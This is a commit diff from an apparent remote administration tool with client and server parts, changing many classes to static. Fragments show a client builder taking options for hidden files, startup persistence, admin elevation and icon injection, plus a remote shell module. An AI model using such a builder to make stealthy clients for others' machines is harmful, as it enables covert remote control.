Refactored class access modifiers

This commit is contained in:
MaxXor 2015-01-13 19:43:55 +01:00
parent e3ad2f0716
commit 2544f3a230
13 changed files with 16 additions and 14 deletions

View File

@ -1,8 +1,11 @@
using System;
#if !DEBUG
using xClient.Core.Encryption;
#endif
namespace xClient.Config
{
public class Settings
public static class Settings
{
#if DEBUG
public static string VERSION = "1.0.0.0d";

View File

@ -12,7 +12,7 @@ using xClient.Core.RemoteShell;
namespace xClient.Core.Commands
{
public class CommandHandler
public static class CommandHandler
{
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]

View File

@ -5,7 +5,7 @@ using System.Text;
namespace xClient.Core.Encryption
{
class AES
public static class AES
{
private const int IVLENGTH = 16;

View File

@ -4,7 +4,7 @@ using System.Text.RegularExpressions;
namespace xClient.Core
{
class GeoIP
public class GeoIP
{
public string WANIP { get; private set; }
public string Country { get; private set; }

View File

@ -5,7 +5,7 @@ using System.Windows.Forms;
namespace xClient.Core.Helper
{
class Helper
public static class Helper
{
private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static Random _rnd = new Random(Environment.TickCount);

View File

@ -13,7 +13,7 @@ using xClient.Config;
namespace xClient.Core
{
class SystemCore
public static class SystemCore
{
[DllImport("user32.dll")]
static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);

View File

@ -6,7 +6,7 @@ using xServer.Core.Encryption;
namespace xServer.Core.Build
{
class ClientBuilder
public static class ClientBuilder
{
public static void Build(string output, string host, string password, string installsub, string installname, string mutex, string startupkey, bool install, bool startup, bool hidefile, int port, int reconnectdelay, int installpath, bool adminelevation, string iconpath, string[] asminfo, string version)
{

View File

@ -4,9 +4,8 @@ using System.Security;
namespace xServer.Core.Build
{
public class IconInjector
public static class IconInjector
{
// Basically, you can change icons with the UpdateResource api call.
// When you make the call you say "I'm updating an icon", and you send the icon data.
// The main problem is that ICO files store the icons in one set of structures, and exe/dll files store them in

View File

@ -9,7 +9,7 @@ using xServer.Settings;
namespace xServer.Core.Commands
{
public class CommandHandler
public static class CommandHandler
{
public static void HandleInitialize(Client client, Initialize packet, frmMain mainForm)
{

View File

@ -5,7 +5,7 @@ using System.Text;
namespace xServer.Core.Encryption
{
class AES
public static class AES
{
private const int IVLENGTH = 16;

View File

@ -4,7 +4,7 @@ using System.IO;
namespace xServer.Core.Helper
{
class Helper
public static class Helper
{
private const string CHARS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
private static Random _rnd = new Random(Environment.TickCount);

View File

@ -4,7 +4,7 @@ using System.Windows.Forms;
namespace xServer.Core.Misc
{
class InputBox
public static class InputBox
{
public static DialogResult Show(string title, string promptText, ref string value)
{

View File

@ -4,7 +4,7 @@ using System.Windows.Forms;
namespace xServer.Core.Misc
{
public class ListViewExtensions
public static class ListViewExtensions
{
[DllImport("user32.dll")]
private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, int wParam, int lParam);